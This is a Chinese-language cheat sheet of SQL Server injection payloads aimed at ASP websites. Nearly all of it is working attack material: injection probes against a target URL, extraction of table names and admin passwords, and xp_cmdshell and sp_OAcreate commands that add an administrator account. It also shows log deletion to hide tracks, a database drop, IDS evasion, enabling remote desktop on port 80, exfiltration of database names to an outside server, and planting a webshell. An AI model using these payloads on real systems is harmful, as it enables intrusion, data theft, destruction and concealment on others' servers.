and exists (select * from sysobjects) //判断是否是MSSQLand exists(select * from tableName) //判断某表是否存在..tableName为表名and 1=(select @@VERSION) //MSSQL版本And 1=(select db_name()) //当前数据库名and 1=(select @@servername) //本地服务名and 1=(select IS_SRVROLEMEMBER('sysadmin')) //判断是否是系统管理员and 1=(Select IS_MEMBER('db_owner')) //判断是否是库权限and 1= (Select HAS_DBACCESS('master')) //判断是否有库读取权限and 1=(select name from master.dbo.sysdatabases where dbid=1) //暴库名DBID为1,2,3....;declare @d int //是否支持多行and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell') //判断XP_CMDSHELL是否存在and 1=(select count(*) FROM master.dbo.sysobjects where name= 'xp_regread') //查看XP_regread扩展存储过程是不是已经被删除添加和删除一个SA权限的用户test:(需要SA权限)exec master.dbo.sp_addlogin test,passwordexec master.dbo.sp_addsrvrolemember test,sysadmin停掉或激活某个服务。 (需要SA权限)exec master..xp_servicecontrol 'stop','schedule'exec master..xp_servicecontrol 'start','schedule'暴网站目录create table labeng(lala nvarchar(255), id int)DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/',@result output insert into labeng(lala) values(@result);and 1=(select top 1 lala from labeng) 或者and 1=(select count(*) from labeng where lala>1)—————————————————————————————————————————————————————DOS下开3389 并修改端口号sc config termservice start= autonet start termservice//允许外连reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0x0 /f//该3389端口到80reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 80 /fSQL Server判断是否可注射:http://www.targer.com/article.asp?id=6http://www.targer.com/article.asp?id=6'http://www.targer.com/article.asp?id=6 and 1=1http://www.targer.com/article.asp?id=6 and 1=2http://www.targer.com/article.asp?action=value' and 1=1http://www.targer.com/article.asp?action=value' and 1=2searchpoints%' and 1=1searchpoints%' and 1=2确定数据库类型:http://www.targer.com/article.asp?id=6 and user>0http://www.targer.com/article.asp?id=6 and (select count(*) from sysobjects)>0查询当前用户数据信息:article.asp?id=6 having 1=1--暴当前表中的列:article.asp?id=6 group by admin.username having 1=1--article.asp?id=6 group by admin.username,admin.password having 1=1--暴任意表和列:and (select top 1 name from (select top N id,name from sysobjects where xtype=char(85)) T order by id desc)>1and (select top col_name(object_id('admin'),N) from sysobjects)>1暴数据库数据:and (select top 1 password from admin where id=N)>1修改数据库中的数据:;update admin set password='oooooo' where username='xxx'增添数据库中的数据:;insert into admin values (xxx,oooooo)--删数据库:;drop database webdata获取当前数据库用户名:and user>0获取当前数据库名:and db_name()>0获取数据库版本:and (select @@version)>0判断是否支持多句查询:;declare @a int--判断是否支持子查询:and (select count(1) from [sysobjects])>=0数据库的扩展存储过程:exec master..xp_cmdshell查看服务器C盘目录:;exec_master..xp_cmdshell 'dir c:\'判断扩展存储过程是否存在:and select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'恢复扩展存储过程:;exec sp_addextendedproc xp_cmdshell,'xplog70.dll'删除扩展存储过程:;exec sp_dropextendedproc 'xp_cmdshell'在MSSQL2000中提供了一些函数用于访问OLE对象间接获取权限:;declare @s int;exec sp_oacreat 'wscript.shell',@s;exec master..spoamethod @s,'run',null,'cmd.exe/c dir c:\'判断当前数据库用户名是否拥有比较高的权限:and 1=(select is_srvrolemember('sysadmin'))and 1=(select is_srvrolemember('serveradmin'))and 1=(select is_srvrolemember('setupadmin'))and 1=(select is_srvrolemember('securityadmin'))and 1=(select is_srvrolemember('diskadmin'))and 1=(select is_srvrolemember('bulkadmin'))判断当前数据库用户名是否为DB_OWNER:and 1=(select is_member('db_owner'))在SQLSERVER的master.dbo.sysdatabases表中存放着SQLSERVER数据库系统中的所有数据库信息,只需要PUBLIC权限就可以对此表进行SELECT操作:and (select top 1 name from master.dbo.sysdatabase order by dbid)>0and (select top 1 name from master.dbo.sysdatabase where name not in(select top 1 name from master.dbo.sysdatabases order by dbid) order by dbid)>0删除日志记录:;exec master.dbo.xp_cmdshell 'del c:\winnt\system32\logfiles\w3svc5\ex070606.log >c:\temp.txt'替换日志记录:;exec master.dbo.xp_cmdshell 'copy c:\winnt\system32\logfiles\w3svc5\ex070404.log c:\winnt\system32\logfiles\w3svc5\ex070606.log >c:\temp.txt'获取WEB路径:;declare @shell int;exec master..sp_oamethod 'wscript.shell',@shell out;exec master..sp_oamethod @shell,'run',null,'cmd.exe/c dir /s d:/index.asp >c:/log.txt利用XP_CMDSHELL搜索:;exec master..xp_cmdshell 'dir /s d:/index.asp'显示服务器网站配置信息命令:cmd /c cscript.exe c:\inetpub\adminscript\adsutil.vbs enum w3svc/1/rootcmd /c cscript.exe c:\inetpub\adminscript\adsutil.vbs enum w3svc/2/root利用XP_REGREAD可用PUBLIC权限读取:;exec master.dbo.xp_regreadhkey_local_machine,'system\currentcontrolset\services\w3svc\parameters\virtual roots\''/'SQLSERVER下的高级技术可以参考阅读曾云好所著的精通脚本黑客第五章。3、DSqlHelper检测权限SYSADMIN:and 1=(select IS_SRVROLEMEMBER('sysadmin'))serveradmin、setupadmin、securityadmin、diskadmin、bulkadmin、db_owner。检测XP_CMDSHELL(CMD命令):and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_cmdshell')检测XP_REGREAD(注册表读取功能):and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_regread')检测SP_MAKEWEBTASK(备份功能):and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'sp_makewebtask')检测SP_ADDEXTENDEDPROC:and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'sp_addextendedproc')检测XP_SUBDIRS读子目录:and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_subdirs')检测XP_DIRTREE读子目录:and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_dirtree')修改内容:; UPDATE 表名 set 字段=内容 where 1=1XP_CMDSHELL检测:;exec master..xp_cmdshell 'dir c:\'修复XP_CMDSHELL:;exec master.dbo.sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'用XP_CMDSHELL添加用户hacker:;exec master.dbo.xp_cmdshell 'net user hacker 123456 /add'XP_CMDSHELL把用户hacker加到ADMIN组:;exec master.dbo.xp_cmdshell 'net localgroup administrators hacker /add'创建表test:;create table [dbo].[test] ([dstr][char](255));检测表段test:and exists (select * from test)读取WEB的位置(读注册表):;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/',@result output insert into test (dstr) values(@result);--爆出WEB的绝对路径(显错模式):and 1=(select count(*) from test where dstr > 1)删除表test:;drop table test;--创建查看目录的表dirs:;create table dirs(paths varchar(100), id int)把查看目录的内容加入表dirs:;insert dirs exec master.dbo.xp_dirtree 'c:\'爆目录的内容dirs:and 0(select top 1 paths from dirs)备份数据库DATANAME:declare @a sysname; set @a=db_name();backup DATANAME @a to disk='c:\inetpub\wwwroot\down.bak';--删除表dirs:;drop table dirs;--创建表temp:;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--把驱动盘列表加入temp表:;insert temp exec master.dbo.xp_availablemedia;--删除表temp:;delete from temp;--创建表dirs:;create table dirs(paths varchar(100), id int);--获得子目录列表XP_SUBDIRS:;insert dirs exec master.dbo.xp_subdirs 'c:\';--爆出内容(显错模式):and 0(select top 1 paths from dirs)删除表dirs:;delete from dirs;--创建表dirs:;create table dirs(paths varchar(100), id int)--用XP_CMDSHELL查看目录内容:;insert dirs exec master..xp_cmdshell 'dir c:\'删除表dirs:;delete from dirs;--检测SP_OAcreate(执行命令):and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'SP_OAcreate')SP_OAcreate执行CMD命令:;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\windows\system32\cmd.exe /c net user hacker 123456 /add'SP_OAcreate建目录:;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\windows\system32\cmd.exe /c md E:\XkCmsV\webForm\1111'创建一个虚拟目录E盘:;declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默认 Web 站点" -v "e","e:\"'设置虚拟目录E为可读:;declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse'启动SERVER服务:;exec master..xp_servicecontrol 'start', 'server'绕过IDS检测XP_CMDSHELL:;declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'开启远程数据库1:; select * from OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=apachy_123', 'select * from table1' )开启远程数据库2:;select * from OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table'//看看是什么权限的and 1=(Select IS_MEMBER('db_owner'))And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--//检测是否有读取某数据库的权限and 1= (Select HAS_DBACCESS('master'))And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --数字类型and char(124)%2Buser%2Bchar(124)=0字符类型' and char(124)%2Buser%2Bchar(124)=0 and ''='搜索类型' and char(124)%2Buser%2Bchar(124)=0 and '%'='爆用户名and user>0' and user>0 and ''='检测是否为SA权限and 1=(select IS_SRVROLEMEMBER('sysadmin'));--And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --检测是不是MSSQL数据库and exists (select * from sysobjects);--检测是否支持多行;declare @d int;--恢复 xp_cmdshell;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')//-----------------------// 执行命令//-----------------------首先开启沙盘模式:exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1然后利用jet.oledb执行系统命令select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')执行命令;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'判断xp_cmdshell扩展存储过程是否存在:http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')写注册表exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1REG_SZ读注册表exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'读取目录内容exec master..xp_dirtree 'c:\winnt\system32\',1,1数据库备份backup database pubs to disk = 'c:\123.bak'//爆出长度And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--更改sa口令方法:用sql综合利用工具连接后,执行命令:exec sp_password NULL,'新密码','sa'添加和删除一个SA权限的用户test:exec master.dbo.sp_addlogin test,ptloveexec master.dbo.sp_addsrvrolemember test,sysadmin删除扩展存储过过程xp_cmdshell的语句: exec sp_dropextendedproc 'xp_cmdshell'添加扩展存储过过程EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll' GRANT exec On xp_proxiedadata TO public停掉或激活某个服务。exec master..xp_servicecontrol 'stop','schedule'exec master..xp_servicecontrol 'start','schedule'dbo.xp_subdirs只列某个目录下的子目录。xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'dbo.xp_makecab将目标多个档案压缩到某个目标档案之内。所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。dbo.xp_makecab'c:\test.cab','mszip',1,'C:\Inetpub\wwwroot\SQLInject\login.asp','C:\Inetpub\wwwroot\SQLInject\securelogin.asp'xp_terminate_process停掉某个执行中的程序,但赋予的参数是 Process ID。利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process IDxp_terminate_process 2484xp_unpackcab解开压缩档。xp_unpackcab 'c:\test.cab','c:\temp',1某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234create database lcx;Create TABLE ku(name nvarchar(256) null);Create TABLE biao(id int NULL,name nvarchar(256) null);//得到数据库名insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases//在Master中创建表,看看权限怎样Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--用 sp_makewebtask直接在web目录里写入一句话马:http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''''%20';--//更新表内容Update films SET kind = 'Dramatic' Where id = 123//删除内容delete from table_name where Stockid = 3 09-27 12:10